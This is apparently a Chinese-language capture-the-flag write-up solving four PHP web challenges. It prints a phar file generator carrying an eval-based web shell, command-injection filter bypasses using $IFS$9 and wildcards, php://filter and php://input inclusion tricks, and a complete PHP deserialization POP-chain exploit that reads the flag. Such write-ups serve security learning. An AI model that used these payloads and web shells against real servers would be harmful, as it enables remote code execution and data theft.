0x00 phar??

查看源代码提示include.php,在include页提示:the parameter is file! 🙂

看到参数是file不难想到文件包含啦,使用php://filter流对源代码进行读取,记得不要加.php后缀:

index.php:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Document</title>
</head>
<body>
    <!-- include.php -->
</body>
</html>

include.php:

<html>
Tips: the parameter is file! :) 
<!-- upload.php -->
</html>
<?php
    @$file = $_GET["file"];
    if(isset($file))
    {
        if (preg_match('/http|data|ftp|input|%00/i', $file) || strstr($file,"..") !== FALSE || strlen($file)>=70)
        {
            echo "<p> error! </p>";
        }
        else
        {
            include($file.'.php');
        }
    }
?>

upload.php:

<form action="" enctype="multipart/form-data" method="post" 
name="upload"

可以看到include页对输入的字符进行了限制,而且包含时后缀自动加上了“.php”,结合题目提示,考虑使用phar绕过。

⚪参考:

https://www.shawroot.cc/archives/1141

https://mochazz.github.io/2019/02/02/PHP%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%85%A5%E9%97%A8%E4%B9%8Bphar/#%E4%BE%8B%E9%A2%98%E4%B8%80

需要将php.ini中的phar.readonly选项设置为Off,PHPstudy版本切换5.5.38。

<?php
class MyClass{
    var $output = '@eval($_POST[root]);';
}

$o = new MyClass();
$filename = 'poc3.phar';// 后缀必须为phar,否则程序无法运行
$phar=new Phar($filename);
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($o);
$phar->addFromString("shaw.php",'<?php phpinfo();@eval($_POST[root]);?>');
$phar->stopBuffering();
?>

上传后访问:?file=phar://upload/poc3.png/shaw 出现了phpinfo,即代表成功解析惹。

蚁剑连接根目录有flag。

0x01 rcee

传入command=ls /可看到flag。因为字符长度限制为8位以内,使用通配符代替即可。paylad:command=cat /f*

0x02 shell_exec

查看源代码发现注释:ping -c 2 "$_POST[ip]" 2>&1

fuzz了一哈,过滤了&;"flag、空格等。

使用dir命令查看flag的位置和名称:`dir$IFS$9/>2.txt`

可以看到根目录下存在flag(还有一个fllag,很迷)。

查看具体内容,过滤了cat和tac等,使用可替代cat的tail命令绕过即可:`tail$IFS$9/fl??>2.txt`

后来看到还有些师傅用的head命令也可以哈。

0x03 simple_pop

<?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the beijing")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?>

感觉这题做过(?

GET形式传入:?text=php://input&file=php://filter/read=convert.base64-encode/resource=useless.php

POST形式传入:welcome to the beijing

得到useless.php的源代码如下:

<?php  
class Modifier {
    protected  $var;
    public function append($value){
        include($value);//flag.php
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['password'])){
    @unserialize($_GET['password']);
}
else{
    $a=new Show;
}
?>  

查资料学习一哈代码里的魔术方法:

__invoke:直接调用对象名当方法使用时,就调用的是__invoke()方法。例如:

$test = new Test();//实例化一个对象
$test();//将对象当做方法来使用

__toString:将一个对象当做一个字符串来使用时,会自动调用该方法。

__get:访问不存在的成员变量时调用。

捋思路:

  • include()函数是append方法中被调用的,append方法在__invoke魔术方法中被触发。看到include()可以想到使用伪协议读取flag。下面就考虑如何触发__invoke。
  • 因为“直接调用对象名当方法使用时,就调用的是__invoke()方法”,所以可以利用Test类中的“return $function();”,达到触发__invoke的目的。想要实现“return $function();”必须触发__get魔术方法。
  • 调用__get魔术方法必须访问不存在的成员变量,利用Show类中的“return $this->str->source;”可以达到目的。让$p指向Test类中不存在的成员变量即可。下一步考虑如何触发__toString。
  • Show类正好有echo的地方,可以利用$source变量达到触发__toString的目的。
<?php
class Modifier{
	protected  $var='php://filter/convert.base64-encode/resource=/flag';
}
class Show{
	public $source;
    public $str;
}
class Test{
	public $p;
}

$Mod = new Modifier();
$Sho = new Show();
$tes = new Test();

$tes->p = $Mod;
$Sho->str = $tes;
$Sho->source = $Sho;

echo urlencode(serialize($Sho));